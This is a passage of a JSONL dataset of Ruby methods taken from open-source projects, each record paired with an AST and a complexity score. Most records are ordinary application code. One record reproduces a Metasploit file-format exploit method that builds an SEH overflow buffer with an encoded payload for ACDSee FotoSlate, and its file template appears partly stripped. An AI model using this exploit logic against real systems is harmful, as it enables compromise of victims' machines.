\"type\":\"sym\",\"children\":[\"sym\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key_node\"]},\"value\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"JOB_CLASS_NAME_KEY\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value_node\"]},\"type\"]},\"==\",{\"type\":\"sym\",\"children\":[\"str\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value_node\"]},\"str_content\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"class_name\"]}]}]}]}]}]}]}]}]}","id":"02d3238f-4941-4e29-bab9-a455ff8b899c"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bulk_imports/common/pipelines/uploads_pipeline.rb","start_line":43,"raw_source":"def after_run(_)\n FileUtils.rm_rf(tmpdir)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"after_run\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"rm_rf\",{\"type\":\"send\",\"children\":[null,\"tmpdir\"]}]}]}","id":"2f2bf6dc-744c-475f-b7b7-c7a12d7ebe18"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-data-explorer/spec/tasks/fix_query_ids_spec.rb","start_line":130,"raw_source":"def attributes(name)\n {\n id:\n DiscourseDataExplorer::Query.count == 0 ? 5 : DiscourseDataExplorer::Query.maximum(:id) + 1,\n name: name,\n description: \"A Query\",\n sql: \"SELECT 1\",\n created_at: 3.hours.ago,\n last_run_at: 1.hour.ago,\n hidden: false,\n }\n end","complexity_score":11.3,"ast_json":"{\"type\":\"def\",\"children\":[\"attributes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseDataExplorer\"]},\"Query\"]},\"count\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"int\",\"children\":[5]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseDataExplorer\"]},\"Query\"]},\"maximum\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"A Query\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sql\"]},{\"type\":\"str\",\"children\":[\"SELECT 1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[3]},\"hours\"]},\"ago\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_run_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"hour\"]},\"ago\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hidden\"]},{\"type\":\"false\",\"children\":[]}]}]}]}","id":"e4c91663-5fc4-486a-b2c0-0dcff68e8abe"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/settings/imports_controller.rb","start_line":85,"raw_source":"def destroy\n @bulk_import.destroy!\n redirect_to settings_imports_path\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@bulk_import\"]},\"destroy!\"]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"settings_imports_path\"]}]}]}]}","id":"1453434f-6a83-40bf-9e88-f903016a429c"} {"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/counter/mutex_hash.rb","start_line":104,"raw_source":"def initialize(store, mutex_hash, mutex)\n @store = store\n @mutex_hash = mutex_hash\n @mutex = mutex\n @thread = nil\n @running = false\n end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"store\"]},{\"type\":\"arg\",\"children\":[\"mutex_hash\"]},{\"type\":\"arg\",\"children\":[\"mutex\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@store\",{\"type\":\"lvar\",\"children\":[\"store\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@mutex_hash\",{\"type\":\"lvar\",\"children\":[\"mutex_hash\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@mutex\",{\"type\":\"lvar\",\"children\":[\"mutex\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@thread\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@running\",{\"type\":\"false\",\"children\":[]}]}]}]}","id":"3c58f5b3-ee28-47de-a301-151137aa97fe"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ml/experiment.rb","start_line":34,"raw_source":"def package_name\n return model.name if for_model?\n\n \"#{PACKAGE_PREFIX}#{iid}\"\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"package_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"for_model?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"name\"]}]},null]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PACKAGE_PREFIX\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"iid\"]}]}]}]}]}","id":"b0ea5aa9-a1ad-41d2-be5b-01ad21829214"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bulk_imports/users_mapper.rb","start_line":45,"raw_source":"def default_user_id\n @context.current_user.id\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"default_user_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@context\"]},\"current_user\"]},\"id\"]}]}","id":"a24136a7-a90a-4fb4-a969-ace264a9d2fc"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/dcerpc/handle.rb","start_line":23,"raw_source":"def self.parse (handle)\n uuid_re = '[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{12}'\n rev_re = '\\d+.\\d+'\n proto_re = '(?:' + @@protocols.join('|') + ')'\n re = Regexp.new(\"(#{uuid_re}):(#{rev_re})\\@(#{proto_re}):(.*?)\\\\[(.*)\\\\]$\", Regexp::IGNORECASE | Regexp::NOENCODING)\n match = re.match(handle)\n raise ArgumentError if !match\n\n uuid = [match[1], match[2]]\n protocol = match[3]\n address = match[4]\n options = match[5].split(',')\n i = Rex::Proto::DCERPC::Handle.new(uuid, protocol, address, options)\n return i\n end","complexity_score":28.65,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"parse\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"handle\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uuid_re\",{\"type\":\"str\",\"children\":[\"[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{12}\"]}]},{\"type\":\"lvasgn\",\"children\":[\"rev_re\",{\"type\":\"str\",\"children\":[\"\\\\d+.\\\\d+\"]}]},{\"type\":\"lvasgn\",\"children\":[\"proto_re\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"(?:\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@protocols\"]},\"join\",{\"type\":\"str\",\"children\":[\"|\"]}]}]},\"+\",{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"re\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"new\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uuid_re\"]}]},{\"type\":\"str\",\"children\":[\"):(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rev_re\"]}]},{\"type\":\"str\",\"children\":[\")@(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proto_re\"]}]},{\"type\":\"str\",\"children\":[\"):(.*?)\\\\[(.*)\\\\]$\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"IGNORECASE\"]},\"|\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"NOENCODING\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"match\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"re\"]},\"match\",{\"type\":\"lvar\",\"children\":[\"handle\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"uuid\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"protocol\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"lvasgn\",\"children\":[\"address\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[5]}]},\"split\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"i\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"DCERPC\"]},\"Handle\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"uuid\"]},{\"type\":\"lvar\",\"children\":[\"protocol\"]},{\"type\":\"lvar\",\"children\":[\"address\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]}]}]}]}","id":"4e870f3b-6858-41c2-8224-8633f052e046"} {"repo_name":"manageiq","file_path":"./repos/manageiq/lib/vmdb/plugins.rb","start_line":165,"raw_source":"def version(engine)\n spec = bundler_specs_by_path[engine.root.realpath.to_s]\n\n case spec&.source\n when Bundler::Source::Git\n [\n spec.source.branch || spec.source.options[\"tag\"],\n spec.source.revision.presence[0, 8]\n ].compact.join(\"@\").presence\n when Bundler::Source::Path\n if engine.root.join(\".git\").exist?\n branch = sha = nil\n Dir.chdir(engine.root) do\n branch = `git rev-parse --abbrev-ref HEAD 2>/dev/null`.strip.presence\n branch = nil if branch == \"HEAD\"\n branch ||= `git describe --tags --exact-match HEAD 2>/dev/null`.strip.presence\n\n sha = `git rev-parse HEAD 2>/dev/null`.strip[0, 8].presence\n end\n\n [branch, sha].compact.join(\"@\").presence\n end\n when Bundler::Source::Rubygems\n spec.version\n end\n end","complexity_score":78.9,"ast_json":"{\"type\":\"def\",\"children\":[\"version\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"engine\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"spec\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bundler_specs_by_path\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"engine\"]},\"root\"]},\"realpath\"]},\"to_s\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spec\"]},\"source\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Bundler\"]},\"Source\"]},\"Git\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spec\"]},\"source\"]},\"branch\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spec\"]},\"source\"]},\"options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"tag\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spec\"]},\"source\"]},\"revision\"]},\"presence\"]},\"[]\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[8]}]}]},\"compact\"]},\"join\",{\"type\":\"str\",\"children\":[\"@\"]}]},\"presence\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Bundler\"]},\"Source\"]},\"Path\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"engine\"]},\"root\"]},\"join\",{\"type\":\"str\",\"children\":[\".git\"]}]},\"exist?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"branch\",{\"type\":\"lvasgn\",\"children\":[\"sha\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"chdir\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"engine\"]},\"root\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"branch\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"xstr\",\"children\":[{\"type\":\"str\",\"children\":[\"git rev-parse --abbrev-ref HEAD 2>/dev/null\"]}]},\"strip\"]},\"presence\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"branch\"]},\"==\",{\"type\":\"str\",\"children\":[\"HEAD\"]}]},{\"type\":\"lvasgn\",\"children\":[\"branch\",{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"branch\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"xstr\",\"children\":[{\"type\":\"str\",\"children\":[\"git describe --tags --exact-match HEAD 2>/dev/null\"]}]},\"strip\"]},\"presence\"]}]},{\"type\":\"lvasgn\",\"children\":[\"sha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"xstr\",\"children\":[{\"type\":\"str\",\"children\":[\"git rev-parse HEAD 2>/dev/null\"]}]},\"strip\"]},\"[]\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[8]}]},\"presence\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"branch\"]},{\"type\":\"lvar\",\"children\":[\"sha\"]}]},\"compact\"]},\"join\",{\"type\":\"str\",\"children\":[\"@\"]}]},\"presence\"]}]},null]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Bundler\"]},\"Source\"]},\"Rubygems\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spec\"]},\"version\"]}]},null]}]}]}","id":"3dedd8c2-1c85-4bf7-85cd-1a3bbffe7214"} {"repo_name":"puma","file_path":"./repos/puma/test/test_response_header.rb","start_line":155,"raw_source":"def test_header_value_array\n server_run app: ->(env) { [200, {'set-cookie' => ['z=1', 'a=2']}, ['Hello']] }\n data = send_http_and_read \"GET / HTTP/1.1\\r\\n\\r\\n\"\n\n resp = \"HTTP/1.1 200 OK\\r\\nset-cookie: z=1\\r\\nset-cookie: a=2\\r\\nContent-Length: 5\\r\\n\\r\\n\"\n assert_includes data, resp\n end","complexity_score":6.53,"ast_json":"{\"type\":\"def\",\"children\":[\"test_header_value_array\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"server_run\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"app\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[200]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"set-cookie\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"z=1\"]},{\"type\":\"str\",\"children\":[\"a=2\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Hello\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[null,\"send_http_and_read\",{\"type\":\"str\",\"children\":[\"GET / HTTP/1.1\\r\\n\\r\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"resp\",{\"type\":\"str\",\"children\":[\"HTTP/1.1 200 OK\\r\\nset-cookie: z=1\\r\\nset-cookie: a=2\\r\\nContent-Length: 5\\r\\n\\r\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"resp\"]}]}]}]}","id":"5959c4e6-47b7-43fc-9b76-f30d74492ddb"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/acdsee_fotoslate_string.rb","start_line":71,"raw_source":"def exploit\n overflow = rand_text(target[\"Offset\"])\n overflow << generate_seh_record(target.ret)\n overflow << payload.encoded\n overflow << rand_text_alpha(target[\"TotalLength\"] - overflow.length)\n\n plp = <<~TEMPLATE\n \n \n \n \n \n 3.0\n \n Letter\n \n FALSE\n 0\n \n 16777215\n \n \n \n \n \n Image\n \n 0\n 0.000000\n 0.000000\n FALSE\n FALSE\n 0.000000\n FALSE\n 8454143\n FALSE\n 0\n FALSE\n FALSE\n 16711680\n FALSE\n \n \n \n \n \n \n \n TEMPLATE\n\n print_status(\"Creating '#{datastore['FILENAME']}' file ...\")\n file_create(plp)\n end","complexity_score":27.6,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"overflow\",{\"type\":\"send\",\"children\":[null,\"rand_text\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Offset\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"overflow\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"generate_seh_record\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"ret\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"overflow\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"overflow\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TotalLength\"]}]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"overflow\"]},\"length\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"plp\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"3.0\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Letter\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"FALSE\\n\"]},{\"type\":\"str\",\"children\":[\"0\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"16777215\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Image\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"0\\n\"]},{\"type\":\"str\",\"children\":[\"0.000000\\n\"]},{\"type\":\"str\",\"children\":[\"0.000000\\n\"]},{\"type\":\"str\",\"children\":[\"FALSE\\n\"]},{\"type\":\"str\",\"children\":[\"FALSE\\n\"]},{\"type\":\"str\",\"children\":[\"0.000000\\n\"]},{\"type\":\"str\",\"children\":[\"FALSE\\n\"]},{\"type\":\"str\",\"children\":[\"8454143\\n\"]},{\"type\":\"str\",\"children\":[\"FALSE\\n\"]},{\"type\":\"str\",\"children\":[\"0\\n\"]},{\"type\":\"str\",\"children\":[\"FALSE\\n\"]},{\"type\":\"str\",\"children\":[\"FALSE\\n\"]},{\"type\":\"str\",\"children\":[\"16711680\\n\"]},{\"type\":\"str\",\"children\":[\"FALSE\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Creating '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FILENAME\"]}]}]},{\"type\":\"str\",\"children\":[\"' file ...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"file_create\",{\"type\":\"lvar\",\"children\":[\"plp\"]}]}]}]}","id":"5ce0f3e1-c975-408c-a23d-f749bda959a4"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/content_type_test.rb","start_line":68,"raw_source":"def setup\n super\n # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get\n # a more accurate simulation of what happens in \"real life\".\n @controller.logger = ActiveSupport::Logger.new(nil)\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"logger=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Logger\"]},\"new\",{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"63b8a29b-a02c-4e13-aa82-489a8fc0edc4"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/module/ui/message.rb","start_line":14,"raw_source":"def print_good(msg='', prefix: nil)\n msg_prefix = prefix.nil? ? print_prefix : prefix\n super(msg_prefix + msg)\n end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"print_good\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"msg\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"prefix\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"msg_prefix\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefix\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"print_prefix\"]},{\"type\":\"lvar\",\"children\":[\"prefix\"]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg_prefix\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]}]}","id":"12ba38db-e44d-4916-bbc9-cfb885285214"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/models/shared_ai_conversation.rb","start_line":132,"raw_source":"def formatted_excerpt\n I18n.t(\"discourse_ai.share_ai.formatted_excerpt\", llm_name: llm_name, excerpt: excerpt)\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"formatted_excerpt\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"discourse_ai.share_ai.formatted_excerpt\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"llm_name\"]},{\"type\":\"send\",\"children\":[null,\"llm_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"excerpt\"]},{\"type\":\"send\",\"children\":[null,\"excerpt\"]}]}]}]}]}","id":"72ff630a-0ea5-4e03-bc6a-6ff996fe8bdd"} {"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/connect_api/tunes/tunes.rb","start_line":1017,"raw_source":"def post_app_store_version_release_request(app_store_version_id: nil)\n body = {\n data: {\n type: \"appStoreVersionReleaseRequests\",\n relationships: {\n appStoreVersion: {\n data: {\n type: \"appStoreVersions\",\n id: app_store_version_id\n }\n }\n }\n }\n }\n\n tunes_request_client.post(\"#{Version::V1}/appStoreVersionReleaseRequests\", body)\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"post_app_store_version_release_request\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"app_store_version_id\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"appStoreVersionReleaseRequests\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relationships\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"appStoreVersion\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\